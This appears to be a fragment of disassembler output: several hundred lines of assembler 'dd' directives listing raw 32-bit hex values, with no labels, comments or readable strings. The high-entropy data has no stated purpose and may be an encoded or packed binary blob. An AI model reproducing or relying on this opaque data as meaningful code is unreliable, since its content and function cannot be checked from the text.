		dd 0E2E6982Fh, 3CA400E3h, 0D02ADD7h, 0BF014F81h, 9D895461h
		dd 0CD3F2641h, 0CFDFF41Dh, 2B3FE003h, 17D18BC8h, 212D5DE8h
		dd 92040D1Ah, 1BA7B0E9h, 2D1D6000h, 1BB17F4Eh, 0B12C932Ch
		dd 6DF30816h, 0D1A5C44Ah, 0B2D354F1h, 5CD81D10h, 481691A1h
		dd 9FD19FAh, 50107871h,	182DEB80h, 0BD7C15Bh, 0FF8D6307h
		dd 43F0348h, 2EA423B2h,	5888ACB8h, 5920DDACh, 3452F90h
		dd 83D4812Bh, 0FE2442A5h
		dd 0D400D846h, 1B7DAB23h, 62E89Fh, 98856514h, 0E5C70E4Ah
		dd 968F0728h, 76FE084Eh, 0DB545A19h, 0A7008326h, 3CCCB3CFh
		dd 0FFA63Fh, 0F8407E56h, 6AEEACA2h, 0D698B74Bh,	8B344060h
		dd 80B99295h, 0F383BF5Dh, 8C474B6Eh, 0B52E018Fh, 0B989EE51h
		dd 800721D3h, 122E44E7h, 7CA56F4Ah, 93C9FC00h, 0DFD41BBh
		dd 0D10F971Bh, 66097E90h, 591301BFh, 9D090229h,	32552635h
		dd 49515F1Ch, 0D1561800h, 29AC80E1h, 8093C844h,	7FD023CBh
		dd 0DF1F4983h, 81802FEFh, 0CDC85C13h, 27581609h, 61FE495Bh
		dd 5C6B3B73h, 8D6DD472h, 7A3ABADAh, 0D81C001Fh,	3BFC8E73h
		dd 23071A49h, 0A25756ECh, 5D880D1Fh, 2DD0EED3h,	187B0025h
		dd 81CA3A3Eh, 271307DBh, 0EC8C56A2h, 0A99D1231h, 361E708h
		dd 0CD76DF81h, 67B8F479h, 41C23BBh, 80A3AE7Ch, 6BF4215Dh
		dd 8B0FB712h, 0E4FAFDD4h, 0D9000E91h, 5685C3F4h, 251714C4h
		dd 0B092810Fh, 6F516056h, 35B75C2h, 3FFCA178h, 5648B574h
		dd 199D23C1h, 77AC0405h, 2D7B04D2h, 2835AA20h, 9AA09DE6h
		dd 5C044A96h, 0BAF70FD1h, 0CE03A5A2h, 0F359C912h, 0BEA801EDh
		dd 311AA508h, 9C282B70h, 7F738A38h, 44FD770h, 0A56DDB35h
		dd 0A9B0C1EDh, 37F80411h, 34C5CA4Ah, 75F6711Bh,	2C0B5EE0h
		dd 5B6CD61Eh, 0C713842Eh, 52DC130Fh, 0B993CAE2h, 6BBA4E0Eh
		dd 7B0C0130h, 152A55C1h, 0F2444EA7h, 0C0508442h, 396089D1h
		dd 4E12B822h, 9857AB89h, 182B1BF1h, 1BC95EF7h, 40DA1297h
		dd 820E79D8h, 0DE93BD56h, 4A7130C8h, 300DDD0Ch,	6B15B95Fh
		dd 4ACB2578h, 7CAD85CDh, 905A155Ah, 24D20AC1h, 0DC8B54DAh
		dd 0F0735A00h, 1E35BD03h, 0FA8B8837h, 0DD526805h, 27FCE0E4h
		dd 3A26AD08h, 12D41EAEh, 48D140Ah, 0A82F6939h, 69A6B48Ah
		dd 556C58A0h, 7D4A3727h, 7DB5E018h, 569C1F4Bh, 48E350Fh
		dd 9A420125h, 6C1AE9E6h, 3E204FBBh, 1E6A67D0h, 0C0401566h
		dd 0A8A5E6ECh, 5104BEB0h, 0F98B01EFh, 64D971B8h, 0EC70AF1Dh
		dd 0AF37BDA3h, 0D38F5604h, 0D24FF8ECh, 455C3501h, 59A9896Bh
		dd 8FBF8037h, 8970EB09h, 0DEC251EEh, 5C5B8A98h,	1FCE939h
		dd 85B612D4h, 7C01BB2Bh, 4188017Eh, 9B2D132Eh, 24D38BEFh
		dd 20AF96D9h, 48DE44BDh, 0A0627C00h, 8070DB12h,	34790965h
		dd 722176F9h, 7B969BA9h, 4B025F6Eh, 0E408279Dh,	13638E18h
		dd 0F9DC68C2h, 8C1DACD2h, 490034FEh, 0AF1A112Ah, 0F482D79Bh
		dd 9A95B8Dh, 3C10E889h,	1F4C03FFh, 0C5823A4Ah, 0DD50F252h
		dd 60A4C390h, 13FE9D01h, 0FA53B0B3h, 1C5564C8h,	685F5250h
		dd 3889DDECh, 0D4FC8A13h, 8B2E4h, 8C92FA30h, 4A338CAh
		dd 7EB0E8DDh, 7A6EBF58h, 0F3066D02h, 9EC1F032h,	598CA5D9h
		dd 9D2B822Eh, 5B041E21h, 7B5EB2B8h, 677601B9h, 7D74660h
		dd 8057B83Eh, 5777A9B4h, 7D41FAB0h, 0A3243D48h,	89134424h
		dd 42C22F21h, 0A196CB8Fh, 852A2FE7h, 29480180h,	8E9FC572h
		dd 6126D07Ah, 72D099Ch,	7EE9B671h, 0D04F60DDh, 0D6E684CBh
		dd 29B92800h, 0BF13471h, 91C41719h, 3A88309Eh, 0EA02D088h
		dd 84A3D108h, 51FCA968h, 331546AEh, 0E9DF8B0Ch,	2600F29h
		dd 0CD58D081h, 46414DE3h, 0AC5A4465h, 0B490EB79h, 0B72D9117h
		dd 0A6BFA425h, 0F053274Eh, 63C71204h, 8862E25Bh, 0DE94A48Fh
		dd 9A6E7A03h, 88A39605h, 12DC5F5Eh, 0F3698529h,	457C493h
		dd 31027AAEh, 0B0CFCADh, 297BBD21h, 4AB72C55h, 4536FCCh
		dd 0B5E2F2BBh, 0AD60FE5Ah, 4BD9BD2Bh, 4A358B28h, 0E80B6DAh
		dd 67A25589h, 585DE895h, 81605E96h, 0E5F28B8Dh,	0E3886F31h
		dd 0C94302D7h, 0C12B2D68h, 0C695A6F8h, 6BFB04BCh, 0F8E1362Ch
		dd 3761CED1h, 604C8C6h,	0DCBAFBBh, 607F206Ah, 0C20C24DBh
		dd 0DCAC6A8Ch, 10DE678Ch, 66ACFA62h, 962CB764h,	0E6C1339Bh
		dd 0C0FA4E6Eh, 0FB05C2BCh, 2F5D9D8Bh, 7810C829h, 79B36Ah
		dd 0D17227Ah, 0C314E381h, 5B2D1E12h, 1BC49AADh,	10A864A3h
		dd 0BFEE7B80h, 887A0236h, 4B9ADF4Bh, 0FDC215C8h, 603B5CF3h
		dd 1F75BD29h, 5F8ABAB5h, 0C2278AF0h, 17AF3704h,	4FE4A8E9h
		dd 20502B44h, 5B26EFAh,	9F86B349h, 25D898C3h, 35C6DF9Ah
		dd 1BB3ADD2h, 0A342C84Bh, 8E1C4100h, 29322277h,	34B500E4h
		dd 198CD795h, 6A4E86C7h, 70F012F6h, 0EA00F043h,	27DE5D28h
		dd 248D0173h, 520C2291h, 8957440h, 43286081h, 48002D8Bh
		dd 0B112C6E4h, 0E27DD001h, 64CE43E6h, 9F73EDD1h, 6728C407h
		dd 0F47AE072h, 0FF019E2Ah, 0F176641Eh, 46796155h, 70A292h
		dd 2672DF81h, 97961DA8h, 47F85210h, 77D4F100h, 53D2BA18h
		dd 8913029Ch, 99D673A0h, 0C9AB82F9h, 65EE5F1Dh,	35B69613h
		dd 32F6A9E0h, 0F98A9512h, 1DACD5ADh, 0BB78008Ch, 891BD70Ah
		dd 0BA3C3E98h, 0BD418438h, 8BFC6CE9h, 0F95BD44Ah, 4C6E8C8h
		dd 571F87D7h, 0ADFD8388h, 0BA38FF84h, 0F780882Fh, 0CCC8714Bh
		dd 0F0E51EA6h, 1181C15Ch, 353F7DA7h, 57236Ch, 5A99179Eh
		dd 0A0AF5BBEh, 1289BBB8h, 0B83D535Fh, 2DB78573h, 61609C62h
		dd 0FE3DA10Ah, 1C092076h, 0D6F7614Fh, 800E9A4Ah, 0A4F279FBh
		dd 5D88356Dh, 747BAF79h, 0C740D300h, 0A3A7BF37h, 0C646B325h
		dd 5561B025h, 0B401AE35h, 0CE3F1F19h, 6F8125C0h, 0C13E60D4h
		dd 6075902h, 2FEEEB27h,	121DDC9Bh, 519E704h, 0C6D9B70Fh
		dd 597AAFh, 0ACB3AFE2h,	6F3909h, 0BF6612E8h, 6056BE34h
		dd 4BE4B7h, 4D0F8747h, 7C31D9C5h, 10A3503h, 889D799Ch
		dd 5E1FC099h, 0AC8B8416h, 5FB292F7h, 2BFEB4D9h,	0C20017C9h
		dd 0B884F3h, 0BEDE423Fh, 8C12A3F7h, 8B6A4A01h, 0F6C4A889h
		dd 3914660h, 56E95B09h,	0B98CFFF3h, 0B6A9B851h,	0ECEB40F1h
		dd 520029E8h, 7C84A7B2h, 21ACB1Eh, 0AEBD3541h, 3577D32h
		dd 0AAE0F32Eh, 0E96A5CD9h, 7DD4ABF4h, 0F6A70BAAh, 6189570h
		dd 320105BEh, 684EAC02h, 42FC7138h, 10F3024Ch, 90757355h
		dd 1286915Fh, 270333F8h, 0A44EE2Ch, 9A18BF04h, 0CA824C86h
		dd 0E05C6D90h, 40C8F97Eh, 753C620Eh, 5546933h, 0A3F86979h
		dd 395C6089h, 841BDF17h, 0DDBB812h, 0A319F41Ch,	3BC0B192h
		dd 3D6F3Ah, 148DA412h, 4BFBEDBEh, 0CA28536h, 50873930h
		dd 0FC0CBF04h, 0B8B11104h, 0F8E09B76h, 10019E35h, 1E0B8096h
		dd 0B82055D8h, 772A51C1h, 8A045A30h, 0E23E4483h, 3AF7F507h
		dd 73B95DBCh, 39B5A569h, 0AFDC9600h, 5F5516CDh,	49F2E759h
		dd 2B6AC68h, 89F95EB5h,	0D0521985h, 38DBD14Ah, 8B71D489h
		dd 6B9CF24Eh, 57EC0668h, 6A4D63CFh, 23600202h, 752F818Dh
		dd 6680D9D1h, 0F983054h, 79270034h, 0F1C57586h,	38005D4Ah
		dd 6090618Ch, 48FE8B53h, 0B9027159h, 2177281Dh,	6B597642h
		dd 0D135CD00h, 970625C6h, 5E4A421Ch, 0BB50D800h, 74633A90h
		dd 0EDB7BD35h, 0B21B630Bh, 0DCF77468h, 4D15E502h, 5C9CE9E3h
		dd 0C01770B0h, 0DC5AFC82h, 13DC354Bh, 0BF1A97A6h, 0A7B9CADCh
		dd 94117FDFh, 8F8A2B13h, 2BEE2932h, 13731457h, 0F8870F60h
		dd 0F9D0C9F1h, 341E5Ah,	7D6CA03Ch, 0B2042666h, 61E24713h
		dd 0F0D28DB8h, 0ED8B04D4h, 0DFE289E6h, 167B0455h, 0F9D60B13h
		dd 0B5330FFAh, 0B2010D61h, 3716D581h, 8E88FA45h, 91D2F35h
		dd 0F8A0C993h, 0B51DC4B0h, 70E60617h, 2EE52072h, 71E4F917h
		dd 5CF6A2B1h, 28CF919Dh, 234BAE2Bh, 0FC2C9D8Bh,	749E2030h
		dd 0F3E85FFBh, 64F10086h
		dd 0E0126F03h, 0CDCE020Ah, 0E931C13Fh, 0FAA91F80h, 0FC25F2A1h
		dd 0D7A1CABFh, 29022171h, 1961BDh, 2FB7C82Bh, 31D18B03h
		dd 2125F1B5h, 850A7BFFh, 8D051D01h, 21FE1311h, 368A0FBEh
		dd 0E0800D83h, 5CC21CFCh, 5017919Ch, 0FE9D9D2Dh, 49E98AD8h
		dd 2E5562B1h, 59253072h, 0A29DC6CFh, 0FED20944h, 572AC43Dh
		dd 2B1D2904h, 0FA260416h, 0AD679461h, 80929F9Ch, 0D5532222h
		dd 126F3D28h, 106FE6F8h, 0E9484333h, 6392BF02h,	0FCDE6A22h
		dd 0DA2E01DEh, 0EF30C15Ch, 0C4A96AB6h, 28A415A8h, 376DEF24h
		dd 3A30B908h, 2710B21Ch, 4C337FFh, 0B877B372h, 9AC04AC4h
		dd 4F2BC917h, 0E0B3B6C0h, 5DF7060h, 459D03CCh, 0AE35FE33h
		dd 6AA9C7ADh, 0C582D4ACh, 7DFC5899h, 93B06725h,	8BD5EA89h
		dd 8F014208h, 92BC31F9h, 176E604h, 2E38BFF5h, 0DD3F5FF0h
		dd 496A2EAAh, 0DC358600h, 576AB774h, 5FE7E1B5h,	79609D7Fh
		dd 975AA853h, 9858A15h,	22B099BDh, 0E76851B7h, 325AB2Ch
		dd 9A1A59C5h, 0A1D37D60h, 56305B71h, 26D5DBDh, 0DE5EB838h
		dd 0F3E2C08Fh, 2FD4B16Eh, 1C9380B7h, 0B0EED2B8h, 48C443Fh
		dd 6A108220h, 0B2D288B8h, 9838005Dh, 14DA3687h,	0C9E300DDh
		dd 0BFEC30C8h, 0E14FFFA4h, 8605EA6Eh, 0C7CC71D1h, 0FF0D449Dh
		dd 4B70B238h, 1022D804h, 98594C00h, 0F4B03EEEh,	8812FC68h
		dd 860009E3h, 0FCB87B85h, 0EEAC6FBDh, 7F37539h,	1BBB4702h
		dd 4C4A00BFh, 5B4B5F36h, 5222858Ah, 0A6F58CF4h,	990B7659h
		dd 7336FC08h, 0FCB5329Eh, 0A702DC4Bh, 621FAC89h, 389460B1h
		dd 2F0190DCh, 7C4C0F91h, 26406C00h, 7ED9A8E4h, 71E52661h
		dd 99D04D6h, 0BB26FF22h, 12B14F3Eh, 2A50B102h, 921CBC6Eh
		dd 3BF24C26h, 54BA964h,	4145708Ch, 0EA123A01h, 0C25F41A3h
		dd 54092DBCh, 0D6D2EAEFh, 0DB05877Ch, 5BEFDA2Dh, 82C04EACh
		dd 2E41457Fh, 0CA2C5F07h, 2A9161D8h, 0B8759E77h, 1B6E2Fh
		dd 7E3FC40Fh, 8812E98Fh, 4A0E5071h, 0C2531DF6h,	0E19EA0BEh
		dd 0D1F49CD9h, 16CB09CAh, 47798D0Fh, 15938110h,	0B393E3EAh
		dd 0F27D01A5h, 48722AE0h, 0A6820D0h, 1B4B84Bh, 24CB14EDh
		dd 0FA4B85C8h, 0BBB40996h, 785301ABh, 822B5071h, 95FDA9F1h
		dd 24744907h, 0ADBD2B82h, 0EACC5C1Eh, 0F7021264h, 1B54A0FCh
		dd 273C1614h, 5A82BBF1h, 78BF6223h, 0CD429570h,	4D2FF154h
		dd 0AD5EE9D9h, 7C750A51h, 47394240h, 842D4BC0h,	0C0F5FDFFh
		dd 1E3C9D7Eh, 3E6C000Bh, 3E7C8A6h, 21ECD9C0h, 31F21412h
		dd 0CC4AF0E3h, 9D150BEDh, 7E9A0EE1h, 96F6F84Ah,	0F1F7BB09h
		dd 37BFC870h, 0E4930235h, 0B8F950F5h, 25B0250Fh, 2CB0A710h
		dd 90DA0E8h, 58220255h,	92CF8196h, 0FE3ED084h, 0D353640Bh
		dd 77F0D820h, 95796412h, 0FC9296E2h, 53318027h,	7DDBE5h
		dd 8374E24Bh, 505FB9ACh, 0D09EF599h, 70EBC140h,	0A7DD71F0h
		dd 809027BFh, 0C3E2AA7Bh, 1300A37Eh, 643B29F3h,	0F7C47BDh
		dd 5D177273h, 1055B0C9h, 71C0BB5Eh, 71F4E1h, 0BD5F059Dh
		dd 0C9FA0140h, 0F712D4F2h, 0D3E6AF69h, 24F3D950h, 2E46D78Ah
		dd 28140BE0h, 2B589549h, 9348A3E3h, 95F18D2Ah, 0B7FFA592h
		dd 7FA08924h, 0C7001B51h, 679A4050h, 3F7A3B94h,	0BBCC90CAh
		dd 0E6BC2D17h, 785714B3h, 35B8FC98h, 0EA1884C9h, 7FED9A53h
		dd 0A7A430B9h, 9FC65B05h, 488312EDh, 0D2B9D449h, 0FD0F09D2h
		dd 3161DA40h, 2E0A83A1h, 0AF21B23Dh, 0C0A1E93Fh, 8E568FB3h
		dd 0BD949549h, 0CCB33770h, 1789AD8h, 0F5DA116Ah, 80AC40B2h
		dd 0DD7EC72Ah, 37FC3565h, 0C33321E9h, 0E6C178E7h, 0BC3A2E55h
		dd 0FE42CCE4h, 42C43400h, 0DE8A2365h, 0A2C69576h, 0B5953109h
		dd 70085C0Ch, 6EE104D2h, 9EB8B6EDh, 0C0F98B25h,	0A5368ED7h
		dd 60A29AE1h, 70B553DDh, 0A107B886h, 3D11D7C0h,	1C8D5344h
		dd 5EC6FD3Eh, 9529A2F0h, 96E4D93Ah, 56529897h, 9886F8A8h
		dd 0CD9D179Bh, 0C409FD20h, 6BAB5B50h, 192346h, 9314D0D2h
		dd 3A97F9B7h, 527BD3D6h, 8642565Ch, 25D9B2h, 0EF3FBBEBh
		dd 0A85A528Fh, 3D65F720h, 576616CCh, 1180EE99h,	0FB6DF9Ah
		dd 2B610CB1h, 5D6BBFC0h, 0DD99965Fh, 95A77980h,	25292D8h
		dd 123D9BCDh, 0A1C25796h, 0DE509641h, 7EEB1DCDh, 2984923h
		dd 5900AD0Ch, 349D069Fh, 0FF97BDh, 4EE29511h, 1881CC86h
		dd 42336C9Fh, 0CBA65A87h, 4517C648h, 0C27BFD11h, 7DFD9D33h
		dd 0D1B545A1h, 6BAB0405h, 11A23FDh, 714AFD76h, 0F40DC17h
		dd 2EB68B5Eh, 894A5553h, 6B9A7F1Ah, 6C016C8h, 0BD097ACAh
		dd 129761C4h, 0DCDBDD05h, 0BEF53570h, 0CEE90555h, 259404FBh
		dd 1BC21310h, 5CCD57FEh, 26601964h, 97043AFDh, 0F1B7B962h
		dd 6E4E4CBCh, 0CC017FF5h, 5D09BBF8h, 8B6030CFh,	0C4C64B06h
		dd 0CE95C651h, 0DA56D102h, 5C61FC5Fh, 0AC1F16DFh, 1BB9B4D7h
		dd 193BE7A8h, 6D9F02D8h, 0D5F19121h, 16A75F18h,	4828CF04h
		dd 27C46896h, 23876BABh, 19D8001Ch, 0F4EBA5BBh,	2AF56574h
		dd 0FA2FC8h, 2E0BF00Ah,	9AA192C1h, 1CC58E1Dh, 8B746ADh
		dd 7159501h, 0A3FD5F13h, 801225E8h, 0BF6058E7h,	258D89F8h
		dd 0AB7309C9h, 34165693h, 34181812h, 1E04720Ch,	27F88B50h
		dd 1E4AF6D0h, 16F2C4B6h, 0B39EB933h, 526F5F21h,	0B41CE6AAh
		dd 61F0F529h, 7BAD0486h, 0BC78A1C0h, 2209A219h,	0A9D7F98Ah
		dd 956878B2h, 1464DF6Dh, 85DF3362h, 2DFF20F0h, 2C6A6EDDh
		dd 1B335A01h, 0D8E75925h, 0ED228531h, 0CF810A2Ah, 8CB9527h
		dd 0E4521CF9h, 72B97EAEh, 0E2AD037Eh, 0B50245F6h, 8A98C590h
		dd 0C804A50Fh, 1C09B3E5h, 0D6345C5Fh, 35001846h, 0FD942076h
		dd 25259D29h, 1129E70Fh, 0D98A123Ch, 875800F6h,	58D742DAh
		dd 7AC64A33h, 0DEE6002Eh, 1BCE30FAh, 0C74C3DF6h, 0D243E34Ah
		dd 4885EBDAh, 219982A4h, 1BF96CC0h, 5EFFE980h, 8DFF02F2h
		dd 8B021D05h, 402754C1h, 9583EB0Ah, 683E05F0h, 55BB89B9h
		dd 92C8716Ch, 6086E090h, 0EEB0E697h, 31E4E361h,	0B00CD357h
		dd 129090F0h, 0CEAB2D97h, 8BB8576Dh, 1AD1A100h,	21E6F0EFh
		dd 0C5DAC5D4h, 132C160Dh, 61FDFDE3h, 3BD018AEh,	70B6F3FAh
		dd 5D5CF367h, 51BD1FF2h, 6E9AD5EDh, 0ED4475Ch, 3FA4349Eh
		dd 9E5F896h, 8043CCD3h,	9017DF68h, 0CDDD5AB3h, 18E42E22h
		dd 74CC0FEBh, 1BE0A845h, 35B8EA60h, 71795E27h, 0A568008Ch
		dd 0DB39DDBAh, 0DE922h,	8E1B06C5h, 129E67B4h, 812F975h
		dd 4BF0F4Bh, 4010E8B7h,	56DFFA47h, 7473009Eh, 0A2B22F52h
		dd 9812926Eh, 15C8E201h, 0D373008Bh, 0C9DF939Ch, 5B2F46Ch
		dd 0DE40B496h, 5BA2C1h,	0D7EEA373h, 9530E71Fh, 0AE31BB00h
		dd 8DED703Eh, 8A0F2F43h, 47FC21A6h, 331DE180h, 0E1D6F49Fh
		dd 3F1C5DB5h, 0C9E9D8h,	1BDF55E4h, 613C0E31h, 0E77C3B12h
		dd 18B2E9E6h, 3B02D530h, 89848CA5h, 0B80F7985h,	0C1DAD6EAh
		dd 11CB6B80h, 67108D49h, 0AB80E841h, 88696636h,	0C9B93Bh
		dd 815DE1A4h, 12228ECBh, 0F25F54FBh, 54A18B07h,	685B6033h
		dd 0EDB5026Ah, 65D6C012h, 22000E7Fh, 816C1923h,	1B1EBh
		dd 0B70F2B64h, 28BB50D8h, 7C071E16h, 9BAEA9C4h,	8D3682A2h
		dd 13415F9Eh, 8DAB0425h, 0F2342A2Fh, 0BD3EFFC9h, 0F42EBDF1h
		dd 7F128DCEh, 200DBFA6h, 82F77A1h, 0E904206Eh, 0BBC0E92h
		dd 4D022B1h, 9B8BCDE8h,	0D3C55Fh, 0D7A5EF35h, 0B832441Ch
		dd 62095E7Fh, 403C4FB7h
		dd 75CA2325h, 0C19D8909h, 5AE85C07h, 52B45Bh, 10879583h
		dd 0D0504B4Ch, 2F718D45h, 0DE69A685h, 9EEB7700h, 0EE6119CEh
		dd 8ED32485h, 0B90E1258h, 0F4EAC01Fh, 986CB5Ah,	0D2BC7067h
		dd 46DC0F5Eh, 0A73C1Ch,	0C4FFA4F4h, 9756B42Fh, 6AF98098h
		dd 0F03E66FBh, 0FC73A1DDh, 9CE60175h, 0DB80F234h, 0A56E7051h
		dd 86F71B4Bh, 2063EAA1h, 3F1226BAh, 55492DD9h, 429D7909h
		dd 0FB460116h, 0B025F912h, 1DAD9C44h, 1E70E606h, 90D4C312h
		dd 0F3D800AAh, 3149E723h, 0F296A497h, 94842949h, 8096BC11h
		dd 7352D0BBh, 9B92972Dh, 112CB7D4h, 5ADB8100h, 9779C942h
		dd 32D1A089h, 0BA0F100h, 6371FEh, 99C4614Fh, 7F1FDF39h
		dd 0E1321825h, 2BE48B98h, 0DDB4C4C8h, 0C4600F1Bh, 9D819CB8h
		dd 9186AD95h, 28D18B61h, 0E91FC8B7h, 0DE49A996h, 0A404CF70h
		dd 9E099709h, 794E107Fh, 2D7190F3h, 0DA712591h,	0E9DA8B60h
		dd 90FC16Bh, 2B0181BDh,	9D6030DCh, 0B516144Ch, 8CAA13DDh
		dd 250039F2h, 7F08288Fh, 3894CC8Bh, 6D005109h, 3599186Ch
		dd 764FE705h, 0A3F616AFh, 0B0314A12h, 522AB531h, 41B2E6E3h
		dd 8277128Eh, 0C31C18DDh, 0B302B755h, 0E55F3339h, 53E50874h
		dd 8BCBB00h, 0C96A5AB0h, 6EF58A46h, 0B9210090h,	0C1532D40h
		dd 0F02E7BFDh, 0D1602812h, 0F089D623h, 4749076h, 5410ECD3h
		dd 0C4BDBCCAh, 0C947CB9h, 38B087AEh, 696EFC25h,	97D430D6h
		dd 1D9838E0h, 0FC869501h, 0DB99D01h, 2BDED750h,	0DC9ABCC0h
		dd 8079973Eh, 0FA2FF5E7h, 9DD22B5Eh, 5670537Bh,	821102E2h
		dd 42089557h, 0E44BEF5Fh, 0DC376017h, 48E7F7Eh,	414748CFh
		dd 25FBAC09h, 4B31790Bh, 36827935h, 80C8D8BBh, 4F53F787h
		dd 27515F82h, 8EB0E027h, 0A413CE83h, 0E7DA5579h, 0D9C01AC8h
		dd 2DF2BAB8h, 9057BC67h, 1D3D2894h, 49549ED1h, 39808097h
		dd 0C64572A9h, 58FD514Bh, 8C1AACh, 0A88EC7D1h, 0F992D253h
		dd 0EB89E595h, 0F5814335h, 0BE1255F9h, 95753420h, 0A7B61490h
		dd 2E1F4803h, 0E941868Dh, 25FCD2D3h, 380B05EAh,	0BB51043Ah
		dd 5B27B7F2h, 5C05D790h, 2BE6FA00h, 0F5709680h,	6FF13AD0h
		dd 2FD78187h, 5F6BD293h, 9E514C74h, 0DD8C8214h,	0B8709B78h
		dd 0D8F85395h, 0E198D26h, 1626080h, 6410F913h, 612528C9h
		dd 0B5E9FB54h, 0EE94AFEFh, 20DA014Ch, 61279423h, 2AE1FFF9h
		dd 0E98020DBh, 0F055E7EAh, 508807EAh, 0ACC804B5h, 0E81547CCh
		dd 0D7B3A250h, 0D38B61BDh, 0DF6104CEh, 0A1A144E8h, 5BDE7E04h
		dd 6153480h, 35A5FEBh, 0DF2F62BAh, 34516274h, 0B7F76EADh
		dd 0BE9400F4h, 0AC290A6Dh, 164BF09h, 0FB095D36h, 6061C376h
		dd 45E133F8h, 0B8610074h, 97BF1201h, 0E3EDC825h, 896E7B13h
		dd 75DFCB00h, 95105954h, 0D660BEEAh, 0B18B1D49h, 203A2A2Dh
		dd 519D0B74h, 4942195Ah, 7461ACEBh, 5EA89159h, 55416D8Dh
		dd 530120BDh, 2F51D82Bh, 0AB945582h, 41D16DB5h,	2AB045CCh
		dd 0DCB12520h, 93570090h, 38FA16E8h, 8B276E73h,	9F9446F8h
		dd 0B1B03D90h, 8E10E602h, 0E4952923h, 0B350129Dh, 0AFC9C4F8h
		dd 9680A29Bh, 3580A040h, 0F1B83601h, 0D18501C7h, 9F6A4174h
		dd 2F947BB7h, 12AF46F9h, 8FB83349h, 5BA9B9E5h, 4FD088h
		dd 398E86F0h, 23C802F6h, 4B7C7F03h, 0AAD906A3h,	215B5C1Dh
		dd 67D48091h, 4729E77Eh, 52C42597h, 1EB8DE16h, 62BD21C0h
		dd 247E9A97h, 42FE6B1h,	49A9584Eh, 17098FB8h, 5591F050h
		dd 2EBD6631h, 0B58900B4h, 1A4442CDh, 0CD28FA60h, 61A5690Ah
		dd 0F508A7C2h, 800F0919h, 0B3F314DDh, 197000CCh, 0E1783763h
		dd 0A94EE971h, 2FFAD8C8h, 3855890Fh, 5CAEACh, 1506E755h
		dd 0E66F37E0h, 56A1F600h, 92A91B8h, 95B1981Fh, 5B930D51h
		dd 23406BAAh, 3732001Ah, 5029A651h, 2545D248h, 40B5D175h
		dd 9DDB531h, 793D539Dh,	6B181Bh, 0E6964EF2h, 0F09A03Fh
		dd 0CF5C8848h, 110D2B85h, 60130A2Fh, 0E857B5EAh, 4E5F5242h
		dd 0C47EFC61h, 0ECE8D98Bh, 24B529C7h, 77BB2404h, 0BA171552h
		dd 6A2A192Dh, 7CC00028h, 8A29703Ah, 40EB941Ch, 0ABFA7B0Fh
		dd 2409AA73h, 0D87086BAh, 7180C424h, 99500B19h,	0E0EBBE31h
		dd 18C9684h, 0A408678Eh, 3FF01C83h, 0E4ED4ED4h,	0C99AAFB8h
		dd 10E4DD25h, 2D1582Eh,	978FDAD3h, 32763C61h, 24F7669h
		dd 778E2687h, 0D828895Dh, 25781E7Bh, 0DEA7BC91h, 0C6549E42h
		dd 0AE5D00F6h, 434EE912h, 50039036h, 4F51EBBFh,	0F904BD62h
		dd 5FE9297Dh, 0AFCBCED8h, 6D61E02Fh, 6959C01Eh,	0C5A03549h
		dd 52811AC1h, 0CCDF113Fh, 0ED7B5B2Dh, 5B181CD9h, 76CC2D00h
		dd 8C05F869h, 0B8949727h, 6FBD3170h, 0C6FD4991h, 0DE8A0CDFh
		dd 812323E9h, 899AC707h, 0F9D44212h, 94EB93E8h,	3EE05E41h
		dd 4110415Dh, 230BDE9h,	50897461h, 0FB97044Fh, 0D51FD00Eh
		dd 6C76A902h, 962C17FBh, 41F25D1h, 0E51ED83Dh, 2EE6613h
		dd 0CC05F7A3h, 9F3700D5h, 4A419D23h, 5AA6CB2Fh,	0B78963DAh
		dd 0BF5C30D5h, 0E8087ADEh, 96189DFAh, 1D25BD23h, 2AAEE30h
		dd 0D485F381h, 7F745D2Bh, 0B4AA8B65h, 0A6BC5005h, 54C95740h
		dd 315E017Dh, 0B47C7AFBh, 203071ADh, 6CF70FD2h,	0B7ED92E6h
		dd 154D5FC0h, 187CADE5h, 0F9A44E0Bh, 89348986h,	5E37095Bh
		dd 0C400DC90h, 2BE909FCh, 0ED8D0B60h, 3E38A12Bh, 7485B430h
		dd 258BF0DCh, 97E258CBh, 75514A7Fh, 0F60E8CFh, 28C8511h
		dd 0EA0CEA7h, 9CD612FDh, 5F605640h, 765006Eh, 7EF6CD0Fh
		dd 672C6E0h, 897F189Dh,	0A5B5769Dh, 4CB92CFh, 0E930ADE5h
		dd 6F9AD34Ah, 98489A81h, 0C45050B7h, 700F551h, 0E656D71Fh
		dd 0E6CBD97Fh, 8D204E14h, 85074158h, 5D9C2E11h,	0B6C25E83h
		dd 5DBDF1A4h, 8E7ADDF6h, 8EF74300h, 6AE6DB18h, 0FB4A2EFFh
		dd 3021080Fh, 50C95F1Dh, 709ED320h, 3A9D61B0h, 64AD6D28h
		dd 0AC11E969h, 2B028C19h, 941C479Dh, 16F9F6D9h,	219BFE6Ah
		dd 54C04F8Bh, 8B2557C9h, 9758F3DFh, 0B2EEF6DAh,	0CB47571Dh
		dd 5C05109Dh, 24EA01BEh, 49E2C0C2h, 5949FEA1h, 4B1752E3h
		dd 0A6B5A8FDh, 1029E051h, 0FB9FACBh, 0D88BF0CDh, 115D8D22h
		dd 6B121C5Dh, 0CD5D3C48h, 0F8CCC093h, 2B2F7B8Eh, 22747087h
		dd 66BF168Ch, 5FB900CAh, 0FE0851C1h, 1A0A40D0h,	0C15A3FA8h
		dd 8B61D60Ah, 0D59597B9h, 0CABF9384h, 0AEF2A0B1h, 99EF1379h
		dd 4E37A702h, 39002B6Ah, 58B39B1Bh, 27389621h, 69A2DBBBh
		dd 664E90A8h, 202B2B8Dh, 8E81EA85h, 41700201h, 753B4833h
		dd 7A891A30h, 0D8CF4CF0h, 5F37925Bh, 0B05AB4D7h, 97F17018h
		dd 0BB07254Eh, 460232B6h, 50E38750h, 0A6C65E16h, 89FF00A1h
		dd 84618FD4h, 0DE640006h, 409ABBE8h, 1048504h, 54ED345h
		dd 0E2B517E8h, 0BD905ACAh, 1D0D66h, 266AA778h, 0AA93998Eh
		dd 74E99213h, 0CE3006A1h, 4BE49814h, 50908C1h, 2A02D032h
		dd 0F95625D9h, 3F1946D6h, 9B8405ECh, 2D814AAAh,	90020165h
		dd 50754AD0h, 9E8379Fh,	2454D17Dh, 71E00F4h, 0B9CEFEBEh
		dd 85100167h, 898121DDh, 2B1229B5h, 0E094C542h,	7840F33Bh
		dd 16023B93h, 0ACA4D37Bh, 272A74F8h, 0A4174037h, 0A7C91A04h
		dd 1F4DE281h, 0C2ECFC6Fh, 0C0EE59Dh, 225A350Ch,	0DA32A4F3h
